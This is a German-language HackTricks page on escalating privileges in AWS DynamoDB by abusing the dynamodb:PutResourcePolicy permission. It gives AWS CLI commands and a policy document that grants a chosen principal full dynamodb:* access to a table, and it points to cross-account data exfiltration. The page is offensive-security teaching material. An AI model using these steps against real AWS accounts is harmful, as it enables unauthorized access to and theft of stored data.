AWS - DynamoDB Privesc
Reading time: 4 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
dynamodb
Für weitere Informationen zu dynamodb siehe:
dynamodb:PutResourcePolicy
, und optional dynamodb:GetResourcePolicy
Seit März 2024 bietet AWS ressourcenbasierte Richtlinien für DynamoDB (AWS News).
Wenn Sie also die dynamodb:PutResourcePolicy
für eine Tabelle haben, können Sie sich selbst oder einem anderen Principal einfach vollen Zugriff auf die Tabelle gewähren.
Das Gewähren der dynamodb:PutResourcePolicy
an einen zufälligen Principal geschieht oft versehentlich, wenn die Administratoren denken, dass das Gewähren von dynamodb:Put*
nur dem Principal erlauben würde, Elemente in die Datenbank einzufügen - oder wenn sie dieses Berechtigungsset vor März 2024 gewährt haben...
Idealerweise haben Sie auch dynamodb:GetResourcePolicy
, sodass Sie keine anderen potenziell wichtigen Berechtigungen überschreiben, sondern nur die zusätzlichen Berechtigungen injizieren, die Sie benötigen:
# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json
Wenn Sie die aktuelle Richtlinie nicht abrufen können, verwenden Sie einfach diese, die Ihrem Principal vollen Zugriff auf die Tabelle gewährt:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}
Wenn Sie es anpassen müssen, finden Sie hier eine Liste aller möglichen DynamoDB-Aktionen: AWS Documentation. Und hier ist eine Liste aller Aktionen, die über eine ressourcenbasierte Richtlinie erlaubt werden können UND welche davon kontenübergreifend verwendet werden können (denken Sie an Datenexfiltration!): AWS Documentation
Jetzt, da das Richtliniendokument policy.json
bereit ist, fügen Sie die Ressourcenrichtlinie hinzu:
# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"
Jetzt sollten Sie die benötigten Berechtigungen haben.
Post-Exploitation
Soweit ich weiß, gibt es keinen anderen direkten Weg, um Berechtigungen in AWS nur durch einige AWS dynamodb
-Berechtigungen zu eskalieren. Sie können sensible Informationen aus den Tabellen lesen (die AWS-Anmeldeinformationen enthalten könnten) und Informationen in die Tabellen schreiben (was andere Schwachstellen auslösen könnte, wie z.B. Lambda-Code-Injektionen...), aber all diese Optionen sind bereits auf der DynamoDB Post-Exploitation-Seite berücksichtigt:
AWS - DynamoDB Post Exploitation
TODO: Daten lesen durch Missbrauch von Datenströmen
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.